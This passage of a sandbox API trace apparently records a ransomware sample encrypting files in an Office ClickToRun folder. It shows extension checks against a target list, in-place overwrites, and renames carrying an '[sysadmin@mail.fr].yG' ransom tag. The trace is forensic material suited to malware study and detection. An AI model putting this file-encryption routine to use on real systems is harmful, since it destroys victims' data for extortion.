	[0055.678] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0055.678] lstrlenW (lpString=".ppt") returned 4
	[0055.678] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0055.678] lstrlenW (lpString=".zip") returned 4
	[0055.678] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.678] lstrlenW (lpString=".rar") returned 4
	[0055.678] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.678] lstrlenW (lpString=".bz2") returned 4
	[0055.678] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.678] lstrlenW (lpString=".7z") returned 3
	[0055.678] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0055.678] lstrlenW (lpString=".dbf") returned 4
	[0055.678] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0055.678] lstrlenW (lpString=".1cd") returned 4
	[0055.678] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0055.678] lstrlenW (lpString=".jpg") returned 4
	[0055.678] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0055.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0055.679] lstrlenW (lpString=".doc") returned 4
	[0055.679] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.679] lstrlenW (lpString=".docx") returned 5
	[0055.679] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0055.679] lstrlenW (lpString=".pdf") returned 4
	[0055.679] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.679] lstrlenW (lpString=".xls") returned 4
	[0055.679] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.679] lstrlenW (lpString=".xlsx") returned 5
	[0055.679] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0055.679] lstrlenW (lpString=".ppt") returned 4
	[0055.679] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0055.679] lstrlenW (lpString=".zip") returned 4
	[0055.679] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.679] lstrlenW (lpString=".rar") returned 4
	[0055.679] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.679] lstrlenW (lpString=".bz2") returned 4
	[0055.679] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.679] lstrlenW (lpString=".7z") returned 3
	[0055.679] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0055.679] lstrlenW (lpString=".dbf") returned 4
	[0055.679] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0055.679] lstrlenW (lpString=".1cd") returned 4
	[0055.679] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0055.679] lstrlenW (lpString=".jpg") returned 4
	[0055.679] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.679] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.679] lstrlenW (lpString="AppVCatalog.dll") returned 15
	[0055.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0055.680] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=656088) returned 1
	[0055.680] CloseHandle (hObject=0x360) returned 1
	[0055.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20
	[0055.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0055.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0055.680] lstrlenW (lpString=".doc") returned 4
	[0055.680] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.680] lstrlenW (lpString=".docx") returned 5
	[0055.680] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0055.680] lstrlenW (lpString=".pdf") returned 4
	[0055.680] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.680] lstrlenW (lpString=".xls") returned 4
	[0055.680] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.680] lstrlenW (lpString=".xlsx") returned 5
	[0055.680] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0055.680] lstrlenW (lpString=".ppt") returned 4
	[0055.680] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0055.680] lstrlenW (lpString=".zip") returned 4
	[0055.680] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.680] lstrlenW (lpString=".rar") returned 4
	[0055.680] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.680] lstrlenW (lpString=".bz2") returned 4
	[0055.681] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.681] lstrlenW (lpString=".7z") returned 3
	[0055.681] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0055.681] lstrlenW (lpString=".dbf") returned 4
	[0055.681] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0055.681] lstrlenW (lpString=".1cd") returned 4
	[0055.681] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0055.681] lstrlenW (lpString=".jpg") returned 4
	[0055.681] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0055.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0055.681] lstrlenW (lpString=".doc") returned 4
	[0055.681] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.681] lstrlenW (lpString=".docx") returned 5
	[0055.681] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0055.681] lstrlenW (lpString=".pdf") returned 4
	[0055.681] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.681] lstrlenW (lpString=".xls") returned 4
	[0055.681] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.681] lstrlenW (lpString=".xlsx") returned 5
	[0055.681] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0055.681] lstrlenW (lpString=".ppt") returned 4
	[0055.681] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0055.681] lstrlenW (lpString=".zip") returned 4
	[0055.681] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.681] lstrlenW (lpString=".rar") returned 4
	[0055.681] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.681] lstrlenW (lpString=".bz2") returned 4
	[0055.681] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.681] lstrlenW (lpString=".7z") returned 3
	[0055.681] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0055.681] lstrlenW (lpString=".dbf") returned 4
	[0055.681] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0055.682] lstrlenW (lpString=".1cd") returned 4
	[0055.682] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0055.682] lstrlenW (lpString=".jpg") returned 4
	[0055.682] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.682] lstrcmpiW (lpString1=".exe", lpString2=".yG") returned -1
	[0055.682] lstrlenW (lpString="appvcleaner.exe") returned 15
	[0055.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0055.682] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=2054872) returned 1
	[0055.682] CloseHandle (hObject=0x360) returned 1
	[0055.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20
	[0055.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0055.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0055.683] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc64 | out: lpNewFilePointer=0x0) returned 1
	[0055.683] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1
	[0055.683] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3d2f058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1
	[0055.768] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1
	[0055.768] ReadFile (in: hFile=0x360, lpBuffer=0x3d6f058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3d6f058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1
	[0055.796] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fefc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0055.796] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1
	[0055.796] ReadFile (in: hFile=0x360, lpBuffer=0x3daf058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3daf058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1
	[0055.815] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.815] WriteFile (in: hFile=0x360, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x2fefca8, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefca8*=0xc010a, lpOverlapped=0x0) returned 1
	[0055.833] SetEndOfFile (hFile=0x360) returned 1
	[0055.834] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40000) returned 0x4362ca0
	[0055.837] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1
	[0055.838] WriteFile (in: hFile=0x360, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1
	[0055.839] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1
	[0055.839] WriteFile (in: hFile=0x360, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1
	[0055.841] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1
	[0055.841] WriteFile (in: hFile=0x360, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1
	[0055.842] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0055.844] CloseHandle (hObject=0x360) returned 1
	[0056.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0056.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0056.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0056.520] lstrlenW (lpString=".doc") returned 4
	[0056.520] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0056.520] lstrlenW (lpString=".docx") returned 5
	[0056.520] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0056.520] lstrlenW (lpString=".pdf") returned 4
	[0056.520] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0056.520] lstrlenW (lpString=".xls") returned 4
	[0056.520] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0056.520] lstrlenW (lpString=".xlsx") returned 5
	[0056.520] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0056.520] lstrlenW (lpString=".ppt") returned 4
	[0056.520] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0056.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0056.520] lstrlenW (lpString=".zip") returned 4
	[0056.520] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0056.520] lstrlenW (lpString=".rar") returned 4
	[0056.520] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0056.520] lstrlenW (lpString=".bz2") returned 4
	[0056.520] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0056.520] lstrlenW (lpString=".7z") returned 3
	[0056.520] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0056.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0056.520] lstrlenW (lpString=".dbf") returned 4
	[0056.520] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0056.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0056.520] lstrlenW (lpString=".1cd") returned 4
	[0056.520] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0056.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0056.520] lstrlenW (lpString=".jpg") returned 4
	[0056.521] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0056.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0056.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0056.521] lstrlenW (lpString=".doc") returned 4
	[0056.521] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0056.521] lstrlenW (lpString=".docx") returned 5
	[0056.521] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0056.521] lstrlenW (lpString=".pdf") returned 4
	[0056.521] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0056.521] lstrlenW (lpString=".xls") returned 4
	[0056.521] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0056.521] lstrlenW (lpString=".xlsx") returned 5
	[0056.521] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0056.521] lstrlenW (lpString=".ppt") returned 4
	[0056.521] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0056.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0056.521] lstrlenW (lpString=".zip") returned 4
	[0056.521] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0056.521] lstrlenW (lpString=".rar") returned 4
	[0056.521] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0056.521] lstrlenW (lpString=".bz2") returned 4
	[0056.521] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0056.521] lstrlenW (lpString=".7z") returned 3
	[0056.521] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0056.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0056.521] lstrlenW (lpString=".dbf") returned 4
	[0056.521] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0056.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0056.521] lstrlenW (lpString=".1cd") returned 4
	[0056.521] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0056.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0056.521] lstrlenW (lpString=".jpg") returned 4
	[0056.521] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0056.522] lstrcmpiW (lpString1=".hash", lpString2=".yG") returned -1
	[0056.522] lstrlenW (lpString="i640.hash") returned 9
	[0056.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0056.522] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=102) returned 1
	[0056.522] CloseHandle (hObject=0x360) returned 1
	[0056.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20
	[0056.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0056.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0056.523] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.523] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0056.523] GetLastError () returned 0x0
	[0056.523] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x66, lpOverlapped=0x0) returned 1
	[0056.524] WriteFile (in: hFile=0x334, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0x70, lpOverlapped=0x0) returned 1
	[0056.525] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.525] WriteFile (in: hFile=0x334, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0xe6, lpOverlapped=0x0) returned 1
	[0056.525] SetEndOfFile (hFile=0x334) returned 1
	[0056.525] CloseHandle (hObject=0x334) returned 1
	[0056.526] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.526] SetEndOfFile (hFile=0x360) returned 1
	[0056.527] CloseHandle (hObject=0x360) returned 1
	[0056.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0056.527] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1
	[0056.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0056.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0056.527] lstrlenW (lpString=".doc") returned 4
	[0056.527] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0056.527] lstrlenW (lpString=".docx") returned 5
	[0056.527] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0056.527] lstrlenW (lpString=".pdf") returned 4
	[0056.527] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0056.527] lstrlenW (lpString=".xls") returned 4
	[0056.527] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0056.527] lstrlenW (lpString=".xlsx") returned 5
	[0056.527] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0056.527] lstrlenW (lpString=".ppt") returned 4
	[0056.527] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0056.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0056.527] lstrlenW (lpString=".zip") returned 4
	[0056.527] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0056.527] lstrlenW (lpString=".rar") returned 4
	[0056.528] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0056.528] lstrlenW (lpString=".bz2") returned 4
	[0056.528] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0056.528] lstrlenW (lpString=".7z") returned 3
	[0056.528] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0056.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0056.528] lstrlenW (lpString=".dbf") returned 4
	[0056.528] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0056.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0056.528] lstrlenW (lpString=".1cd") returned 4
	[0056.528] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0056.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0056.528] lstrlenW (lpString=".jpg") returned 4
	[0056.528] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0056.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
